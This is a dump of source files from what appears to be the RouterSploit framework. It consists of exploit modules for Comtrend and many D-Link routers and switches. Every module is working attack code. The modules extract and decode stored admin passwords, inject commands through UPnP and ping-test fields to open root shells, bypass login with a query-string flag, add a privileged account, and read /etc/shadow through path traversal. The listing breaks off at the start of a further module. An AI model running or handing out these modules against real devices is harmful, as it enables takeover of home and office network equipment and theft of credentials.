    "content": "import re\nfrom base64 import b64decode\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"Comtrend CT 5361T Password Disclosure\",\n        \"description\": \"WiFi router Comtrend CT 5361T suffers from a Password Disclosure Vulnerability\",\n        \"authors\": (\n            \"TUNISIAN CYBER\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://packetstormsecurity.com/files/126129/Comtrend-CT-5361T-Password-Disclosure.html\",\n        ),\n        \"devices\": (\n            \"Comtrend CT 5361T (more likely CT 536X)\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            response = self.http_request(\n                method=\"GET\",\n                path=\"/password.cgi\",\n            )\n            if response is None:\n                return\n\n            regexps = [\n                (\"admin\", \"pwdAdmin = '(.+?)'\"),\n                (\"support\", \"pwdSupport = '(.+?)'\"),\n                (\"user\", \"pwdUser = '(.+?)'\")\n            ]\n\n            creds = []\n            for regexp in regexps:\n                res = re.findall(regexp[1], response.text)\n\n                if res:\n                    value = str(b64decode(res[0]), \"utf-8\")\n                    creds.append((regexp[0], value))\n\n            if len(creds):\n                print_success(\"Credentials found!\")\n                headers = (\"Login\", \"Password\")\n                print_table(headers, *creds)\n                print_info(\"NOTE: Admin is commonly implemented as root\")\n            else:\n                print_error(\"Credentials could not be found\")\n        else:\n            print_error(\"Device seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/password.cgi\",\n        )\n\n        if response is None:\n            return False  # target is not vulnerable\n\n        regexps = [\"pwdAdmin = '(.+?)'\",\n                   \"pwdSupport = '(.+?)'\",\n                   \"pwdUser = '(.+?)'\"]\n\n        for regexp in regexps:\n            res = re.findall(regexp, response.text)\n\n            if len(res):\n                try:\n                    b64decode(res[0])  # checking if data is base64 encoded\n                except Exception:\n                    return False  # target is not vulnerable\n            else:\n                return False  # target is not vulnerable\n\n        return True  # target is vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/__init__.py",
    "content": ""
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dcs_930l_auth_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DCS-930L Auth RCE\",\n        \"description\": \"Module exploits D-Link DCS-930L Remote Code Execution vulnerability which allows executing command on the device.\",\n        \"authors\": (\n            \"Nicholas Starke <nick[at]alephvoid.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/39437/\",\n        ),\n        \"devices\": (\n            \"D-Link DCS-930L\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    username = OptString(\"admin\", \"Username to log in with\")\n    password = OptString(\"\", \"Password to log in with\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection, response is not available\")\n            shell(self, architecture=\"mipsle\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        headers = {\"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\"}\n        data = {\n            \"ReplySuccessPage\": \"docmd.htm\",\n            \"ReplyErrorPage\": \"docmd.htm\",\n            \"SystemCommand\": cmd,\n            \"ConfigSystemCommand\": \"Save\"\n        }\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/setSystemCommand\",\n            headers=headers,\n            data=data,\n            auth=(self.username, self.password)\n        )\n\n        return \"\"\n\n    @mute\n    def check(self):\n        headers = {\"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\"}\n        data = {\n            \"ReplySuccessPage\": \"docmd.htm\",\n            \"ReplyErrorPage\": \"docmd.htm\",\n            \"SystemCommand\": \"ls\",\n            \"ConfigSystemCommand\": \"Save\"\n        }\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/setSystemCommand\",\n            headers=headers,\n            data=data,\n            auth=(self.username, self.password),\n        )\n\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and \"ConfigSystemCommand\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dgs_1510_add_user.py",
    "content": "import re\nimport gzip\nimport zlib\nfrom io import StringIO\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DGS-1510 Add User\",\n        \"description\": \"D-Link DGS-1510-28XMP, DGS-1510-28X, DGS-1510-52X, DGS-1510-52, DGS-1510-28P, DGS-1510-28 and DGS-1510-20 \"\n                       \"Websmart devices with firmware before 1.31.B003 allow attackers to conduct Unauthenticated Information Disclosure \"\n                       \"attacks via unspecified vectors.\",\n        \"authors\": (\n            \"Varang Amin\",  # vulnerability discovery\n            \"Dino Causevic\"  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/41662/\",\n        ),\n        \"devices\": (\n            \"D-Link DGS-1510-28XMP\",\n            \"D-Link DGS-1510-28X\",\n            \"D-Link DGS-1510-52X\",\n            \"D-Link DGS-1510-52\",\n            \"D-Link DGS-1510-28P\",\n            \"D-Link DGS-1510-28\",\n            \"D-Link DGS-1510-20\"\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    username = OptString('dlinkuser', 'User to add in case that user_add option is used.')\n    password = OptString('dlinkpwd1234', 'Password for user in case that user_add option is used.')\n\n    def __init__(self):\n        self.response_content = None\n\n    def decompress(self, content, encoding):\n        ret = content\n\n        if encoding == 'gzip':\n            ret = gzip.GzipFile(fileobj=StringIO(ret)).read()\n\n        elif encoding == 'deflate':\n            decompress = zlib.decompressobj(-zlib.MAX_WBITS)\n            inflated = decompress.decompress(ret)\n            inflated += decompress.flush()\n            ret = inflated\n\n        return ret.replace(b\"\\n\", b\"\")\n\n    def extract_users(self, content):\n        m_groups = re.match(b'(.*)UserInfo.=.([^;]*)(.*)', content, re.I | re.M)\n        return m_groups\n\n    def run(self):\n        if self.check():\n            print_success(\"Target appears to be vulnerable\")\n\n            print_status(\"Extracting user information...\")\n            m_groups = self.extract_users(self.response_content)\n            if m_groups and m_groups.groups > 2:\n                print_table((\"User Info\", ), (m_groups.group(2), ))\n            else:\n                # Print something, in case that formats vary over models\n                # maybe regex will not work and we don't want to leave\n                # users without information\n                print_table((\"User Info\", ), (self.response_content, ))\n\n            print_status(\"Trying to add new user...\")\n            data = {\n                \"action\": \"0\",\n                \"username\": self.username,\n                \"privilege\": \"15\",\n                \"type\": \"0\",\n                \"password\": self.password\n            }\n\n            headers = {\n                \"Connection\": \"keep-alive\",\n                \"Cache-Control\": \"max-age=0\",\n                \"Origin\": \"{}:{}/\".format(self.target, self.port),\n                \"Upgrade-Insecure-Requests\": \"1\",\n                \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.51 Safari/537.36\",\n                \"Content-Type\": \"application/x-www-form-urlencoded\",\n                \"Accept\": \"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\",\n                \"Referer\": \"{}:{}/www/login.html\".format(self.target, self.port),\n                \"Accept-Encoding\": \"gzip, deflate\",\n                \"Accept-Language\": \"en-US,en;q=0.8\"\n            }\n\n            response = self.http_request(\n                method=\"POST\",\n                path=\"/form/User_Accounts_Apply\",\n                headers=headers,\n                data=data\n            )\n\n            if response is not None:\n                print_success(\"Exploit success - new user added: {} / {}\".format(self.username, self.password))\n            else:\n                print_error(\"Exploid failed - user could not be added\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        self.response_content = None\n\n        headers = {\n            \"Connection\": \"keep-alive\",\n            \"Accept\": \"text/javascript, application/javascript, application/ecmascript, application/x-ecmascript, */*; q=0.01\",\n            \"X-Requested-With\": \"XMLHttpRequest\",\n            \"User-Agent\": \"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.59 Safari/537.36\",\n            \"Referer\": \"{}:{}/www/login.html\".format(self.target, self.port),\n            \"Accept-Encoding\": \"gzip, deflate, sdch\",\n            \"Accept-Language\": \"en-US,en;q=0.8\",\n            \"Cookie\": \"Language=en\"\n        }\n\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/DataStore/990_user_account.js?index=0&pagesize=10\",\n            headers=headers\n        )\n\n        if response is not None and response.status_code == 200:\n            self.response_content = self.decompress(response.content,\n                                                    response.headers.get('content-encoding', None))\n\n            m_groups = self.extract_users(self.response_content)\n            if m_groups:\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dir_300_320_600_615_info_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 Info Disclosure\",\n        \"description\": \"Module explois information disclosure vulnerability in D-Link DIR-300, DIR-320, DIR-600,\"\n                       \"DIR-615 devices. It is possible to retrieve sensitive information such as credentials.\",\n        \"authors\": (\n            \"tytusromekiatomek <tytusromekiatomek[at]inbox.com>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n            \"Aleksandr Mikhaylov <chelaxe[at]gmail.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://seclists.org/bugtraq/2013/Dec/11\",\n        ),\n        \"devices\": (\n            \"D-Link DIR-300 (all)\",\n            \"D-Link DIR-320 (all)\",\n            \"D-Link DIR-600 (all)\",\n            \"D-Link DIR-615 (fw 4.0)\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd\"\n        )\n        if response is None:\n            return\n\n        creds = re.findall(\"\\n\\t\\t\\t(.+?):(.+?)(?:\\n\\n\\t\\t\\t|\\nuser)\", response.text)\n\n        if len(creds):\n            print_success(\"Credentials found!\")\n            headers = (\"Login\", \"Password\")\n            print_table(headers, *creds)\n        else:\n            print_error(\"Credentials could not be found\")\n\n    @mute\n    def check(self):\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd\"\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        creds = re.findall(\"\\n\\t\\t\\t(.+?):(.+?)(?:\\n\\n\\t\\t\\t|\\nuser)\", response.text)\n\n        if len(creds):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dir_300_320_615_auth_bypass.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DIR-300 & DIR-320 & DIR-615 Auth Bypass\",\n        \"description\": \"Module exploits authentication bypass vulnerability in D-Link DIR-300, DIR-320, DIR-615 \"\n                       \"revD devices. It is possible to access administration panel without providing password.\",\n        \"authors\": (\n            \"Craig Heffner\",  # vulnerability discovery\n            \"Karol Celin\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf\",\n        ),\n        \"devices\": (\n            \"D-Link DIR-300\",\n            \"D-Link DIR-600\",\n            \"D-Link DIR-615 revD\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_info(\"\\nYou need to add NO_NEED_AUTH=1&AUTH_GROUP=0 to query string for every action.\")\n            print_info(\"\\nExamples:\")\n            print_info(\"{}:{}/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0\".format(self.target, self.port))\n            print_info(\"{}:{}/bsc_wlan.php?NO_NEED_AUTH=1&AUTH_GROUP=0\\n\".format(self.target, self.port))\n        else:\n            print_error(\"Target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        # check if it is valid target\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/bsc_lan.php\"\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if '<form name=\"frm\" id=\"frm\" method=\"post\" action=\"login.php\">' not in response.text:\n            return False  # target is not vulnerable\n\n        # checking if authentication can be baypassed\n        response = self.http_request(\n            method=\"GET\",\n            path=\"/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0\"\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if '<form name=\"frm\" id=\"frm\" method=\"post\" action=\"login.php\">' not in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dir_300_600_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DIR-300 & DIR-600 RCE\",\n        \"description\": \"Module exploits D-Link DIR-300, DIR-600 Remote Code Execution vulnerability \"\n                       \"which allows executing command on operating system level with root privileges.\",\n        \"authors\": (\n            \"Michael Messner <devnull[at]s3cur1ty.de>\",  # vulnerability discovery\n            \"Marcin Bury <marcin.bury[at]reverse-shell.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.dlink.com/uk/en/home-solutions/connect/routers/dir-600-wireless-n-150-home-router\",\n            \"http://www.s3cur1ty.de/home-network-horror-days\",\n            \"http://www.s3cur1ty.de/m1adv2013-003\",\n        ),\n        \"devices\": (\n            \"D-Link DIR 300\",\n            \"D-Link DIR 600\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            shell(self)\n        else:\n            print_error(\"Target is not vulnerable\")\n\n    def execute(self, cmd):\n        headers = {'Content-Type': 'application/x-www-form-urlencoded'}\n        data = \"cmd={}\".format(cmd)\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/command.php\",\n            headers=headers,\n            data=data\n        )\n        if response is None:\n            return \"\"\n\n        return response.text.strip()\n\n    @mute\n    def check(self):\n        mark = utils.random_text(32)\n        cmd = \"echo {}\".format(mark)\n\n        response = self.execute(cmd)\n\n        if mark in response:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dir_300_645_815_upnp_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.udp.udp_client import UDPClient\n\n\nclass Exploit(UDPClient):\n    __info__ = {\n        \"name\": \"D-Link DIR-300 & DIR-645 & DIR-815 UPNP RCE\",\n        \"description\": \"Module exploits D-Link DIR-300, DIR-645 and DIR-815 UPNP Remote Code Execution vulnerability which allows executing command on the device.\",\n        \"authors\": (\n            \"Zachary Cutlip\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection\",\n            \"http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html\",\n            \"https://www.exploit-db.com/exploits/34065/\",\n        ),\n        \"devices\": (\n            \"D-Link DIR-300\",\n            \"D-Link DIR-645\",\n            \"D-Link DIR-815\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(1900, \"Target UPNP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection, response is not available\")\n            shell(self, architecture=\"mipsle\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        cmd = bytes(cmd, \"utf-8\")\n\n        request = (\n            b\"M-SEARCH * HTTP/1.1\\r\\n\" +\n            b\"Host:239.255.255.250:1900\\r\\n\" +\n            b\"ST:uuid:`\" + cmd + b\"`\\r\\n\" +\n            b\"Man:\\\"ssdp:discover\\\"\\r\\n\" +\n            b\"MX:2\\r\\n\\r\\n\"\n        )\n\n        udp_client = self.udp_create()\n        udp_client.send(request)\n        udp_client.close()\n\n        return \"\"\n\n    @mute\n    def check(self):\n        request = (\n            b\"M-SEARCH * HTTP/1.1\\r\\n\"\n            b\"Host:239.255.255.250:1900\\r\\n\"\n            b\"ST:upnp:rootdevice\\r\\n\"\n            b\"Man:\\\"ssdp:discover\\\"\\r\\n\"\n            b\"MX:2\\r\\n\\r\\n\"\n        )\n\n        udp_client = self.udp_create()\n\n        if udp_client:\n            udp_client.send(request)\n            response = udp_client.recv(65535)\n            udp_client.close()\n\n            if response and b\"Linux, UPnP/1.0, DIR-\" in response:\n                return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dir_645_815_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DIR-645 & DIR-815 RCE\",\n        \"description\": \"Module exploits D-Link DIR-645 and DIR-815 Remote Code Execution vulnerability which allows executing command on the device.\",\n        \"authors\": (\n            \"Michael Messner <devnull[at]s3cur1ty.de>\",  # Vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"http://www.s3cur1ty.de/m1adv2013-017\",\n        ),\n        \"devices\": (\n            \"DIR-815 v1.03b02\",\n            \"DIR-645 v1.02\",\n            \"DIR-645 v1.03\",\n            \"DIR-600 below v2.16b01\",\n            \"DIR-300 revB v2.13b01\",\n            \"DIR-300 revB v2.14b01\",\n            \"DIR-412 Ver 1.14WWB02\",\n            \"DIR-456U Ver 1.00ONG\",\n            \"DIR-110 Ver 1.01\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection, response is not available\")\n            shell(self, architecture=\"mipsle\", method=\"echo\", location=\"/var/tmp/\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        cmd = \"%26 {}%26\".format(cmd.replace(\"&\", \"%26\"))\n\n        headers = {\"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\"}\n        data = \"act=ping&dst={}\".format(cmd)\n\n        self.http_request(\n            method=\"POST\",\n            path=\"/diagnostic.php\",\n            headers=headers,\n            data=data\n        )\n        return \"\"\n\n    @mute\n    def check(self):\n        headers = {\"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\"}\n        data = {\"act\": \"ping\",\n                \"dst\": \"& ls&\"}\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/diagnostic.php\",\n            headers=headers,\n            data=data\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if response.status_code == 200 and \"<report>OK</report>\" in response.text:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dir_645_password_disclosure.py",
    "content": "import re\nfrom routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DIR-645 Password Disclosure\",\n        \"description\": \"Module exploits D-Link DIR-645 password disclosure vulnerability.\",\n        \"authors\": (\n            \"Roberto Paleari <roberto[at]greyhats.it>\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt\",\n        ),\n        \"devices\": (\n            \"D-Link DIR-645 (Versions < 1.03)\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(8080, \"Target HTTP port\")\n\n    def run(self):\n        # address and parameters\n        data = {\"SERVICES\": \"DEVICE.ACCOUNT\"}\n\n        # connection\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/getcfg.php\",\n            data=data\n        )\n        if response is None:\n            return\n\n        # extracting credentials\n        regular = \"<name>(.+?)</name><usrid>(|.+?)</usrid><password>(|.+?)</password>\"\n        creds = re.findall(regular, re.sub(r'\\s+', '', response.text))\n\n        # displaying results\n        if len(creds):\n            print_success(\"Credentials found!\")\n            headers = ('Username', 'Password')\n            creds = tuple(tuple([item[0], item[2]]) for item in creds)\n            print_table(headers, *creds)\n        else:\n            print_error(\"Credentials could not be found\")\n\n    @mute\n    def check(self):\n        # address and parameters\n        data = {\"SERVICES\": \"DEVICE.ACCOUNT\"}\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/getcfg.php\",\n            data=data\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        # extracting credentials\n        regular = \"<name>(.+?)</name><usrid>(|.+?)</usrid><password>(|.+?)</password>\"\n        creds = re.findall(regular, re.sub(r'\\s+', '', response.text))\n\n        if len(creds):\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dir_655_866_652_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link PingTest RCE\",\n        \"description\": \"Module exploits unauthenticated remote code execution occurs in D-Link products such as DIR-655C, DIR-866L, DIR-652, and DHP-1565. \"\n                       \"The issue occurs when the attacker sends an arbitrary input to a \\\"PingTest\\\" device common gateway interface that could lead to common injection. \"\n                       \"An attacker who successfully triggers the command injection could achieve full system compromise. \"\n                       \"Later, it was independently found that these are also affected: DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835, and DIR-825.\",\n        \"authors\": (\n            \"FortiGuard Labs\",  # vulnerability discovery and metasploit module\n            \"GH0st3rs\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://nvd.nist.gov/vuln/detail/CVE-2019-16920\",\n            \"https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10124\",\n            \"https://www.fortinet.com/blog/threat-research/d-link-routers-found-vulnerable-rce.html\",\n            \"http://kb.cert.org/artifacts/cve-2019-16920.html\",\n        ),\n        \"devices\": (\n            \"DAP-1533 < v1.02B\",\n            \"DGL-5500 < v1.13b04\",\n            \"DIR-130 < v1.23b20\",\n            \"DIR-330 < v1.23b18\",\n            \"DIR-615 < v9.04NAb02\",\n            \"DIR-655 < v3.02b05\",\n            \"DIR-825 < v3.02\",\n            \"DIR-835 < v104b02Beta01\",\n            \"DIR-855L < v1.03b01\",\n            \"DIR-866L < v1.03b04\",\n            \"DHP-1565 < v1.01\",\n            \"DIR-652 < v2.00B40\",\n            \"DIR-862 < v1.02\",\n        ),\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    def run(self):\n        if self.check():\n            print_success(\"Target is vulnerable\")\n            print_status(\"Invoking command loop...\")\n            print_status(\"It is blind command injection, response is not available\")\n            shell(self, architecture=\"mipsle\", method=\"echo\", location=\"/var/tmp/\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    def execute(self, cmd):\n        headers = {\n            \"Content-Type\": \"application/x-www-form-urlencoded; charset=UTF-8\",\n            \"Cookie\": \"uid=1234123\",\n            \"Referer\": \"http://{}:{}/login_pic.asp\".format(self.target, self.port),\n        }\n        data = {\n            \"html_response_page\": \"login_pic.asp\",\n            \"action\": \"ping_test\",\n            \"ping_ipaddr\": \"127.0.0.1%0a{}\".format(cmd)\n        }\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/apply_sec.cgi\",\n            headers=headers,\n            data=data\n        )\n        if response is None:\n            return \"\"\n\n        return response.text.strip()\n\n    @mute\n    def check(self):\n        mark = utils.random_text(32)\n        cmd = \"echo {}\".format(mark)\n\n        response = self.execute(cmd)\n\n        if mark in response:\n            return True  # target is vulnerable\n\n        return False  # target is not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dir_815_850l_rce.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.udp.udp_client import UDPClient\n\n\nclass Exploit(UDPClient):\n    __info__ = {\n        \"name\": \"D-Link DIR-815 & DIR-850L RCE\",\n        \"description\": \"Module exploits D-Link DIR-815 and DIR-850L Remote Code Execution vulnerability \"\n                       \"which allows executing command on the device.\",\n        \"authors\": (\n            \"Samuel Huntley\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/38715/\",\n        ),\n        \"devices\": (\n            \"D-Link DIR-815\",\n            \"D-Link DIR-850L\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(1900, \"Target UPNP port\")\n\n    def run(self):\n        print_status(\"It's not possible to check if the target is vulnerable. Try to use following command loop.\")\n        print_status(\"Invoking command loop...\")\n        print_status(\"It is blind command injection, response is not available\")\n        shell(self, architecture=\"mipsle\")\n\n    def execute(self, cmd):\n        request = (\n            \"M-SEARCH * HTTP/1.1\\r\\n\" +\n            \"HOST:{}:{}\\r\\n\".format(self.target, self.port) +\n            \"ST:urn:schemas-upnp-org:service:WANIPConnection:1;{};ls\\r\\n\".format(cmd) +\n            \"MX:2\\r\\n\" +\n            \"MAN:\\\"ssdp:discover\\\"\\r\\n\\r\\n\"\n        )\n\n        request = bytes(request, \"utf-8\")\n\n        udp_client = self.udp_create()\n        udp_client.send(request)\n        udp_client.close()\n\n        return \"\"\n\n    @mute\n    def check(self):\n        return None  # it is not possible to check if target is vulnerable without exploiting it\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dir_825_path_traversal.py",
    "content": "from routersploit.core.exploit import *\nfrom routersploit.core.http.http_client import HTTPClient\n\n\nclass Exploit(HTTPClient):\n    __info__ = {\n        \"name\": \"D-Link DIR-825 Path Traversal\",\n        \"description\": \"Module exploits D-Link DIR-825 path traversal vulnerability, which allows reading files from the device.\",\n        \"authors\": (\n            \"Samuel Huntley\",  # vulnerability discovery\n            \"Marcin Bury <marcin[at]threat9.com>\",  # routersploit module\n        ),\n        \"references\": (\n            \"https://www.exploit-db.com/exploits/38718/\",\n        ),\n        \"devices\": (\n            \"D-Link DIR-825\",\n        )\n    }\n\n    target = OptIP(\"\", \"Target IPv4 or IPv6 address\")\n    port = OptPort(80, \"Target HTTP port\")\n\n    filename = OptString(\"/etc/shadow\", \"File to read\")  # file to read\n    username = OptString(\"admin\", \"Username to log in with\")  # username - default: admin\n    password = OptString(\"\", \"Password to log in with\")  # password - default: blank\n\n    def run(self):\n        if self.check():\n            print_success(\"Target seems to be vulnerable\")\n            file_path = \"..{}\".format(self.filename)\n\n            data = {\n                \"html_response_page\": file_path,\n                \"action\": \"do_graph_auth\",\n                \"login_name\": \"test\",\n                \"login_pass\": \"test1\",\n                \"&login_n\": \"test2\",\n                \"log_pass\": \"test3\",\n                \"graph_code\": \"63778\",\n                \"session_id\": \"test5\",\n                \"test\": \"test\"\n            }\n\n            print_status(\"Sending request payload using credentials: {} / {}\".format(self.username, self.password))\n            response = self.http_request(\n                method=\"POST\",\n                path=\"/apply.cgi\",\n                data=data,\n                auth=(self.username, self.password)\n            )\n            if response is None:\n                return\n\n            if response.status_code == 200:\n                print_status(\"File: {}\".format(self.filename))\n                print_info(response.text)\n            else:\n                print_error(\"Exploit failed - could not read response\")\n        else:\n            print_error(\"Exploit failed - target seems to be not vulnerable\")\n\n    @mute\n    def check(self):\n        data = {\n            \"html_response_page\": \"/etc/passwd\",\n            \"action\": \"do_graph_auth\",\n            \"login_name\": \"test\",\n            \"login_pass\": \"test1\",\n            \"&login_n\": \"test2\",\n            \"log_pass\": \"test3\",\n            \"graph_code\": \"63778\",\n            \"session_id\": \"test5\",\n            \"test\": \"test\"\n        }\n\n        response = self.http_request(\n            method=\"POST\",\n            path=\"/apply.cgi\",\n            data=data,\n            auth=(self.username, self.password)\n        )\n        if response is None:\n            return False  # target is not vulnerable\n\n        if utils.detect_file_content(response.text, \"/etc/passwd\"):\n            return True  # target vulnerable\n\n        return False  # target not vulnerable\n"
  },
  {
    "path": "routersploit/modules/exploits/routers/dlink/dir_850l_creds_disclosure.py",
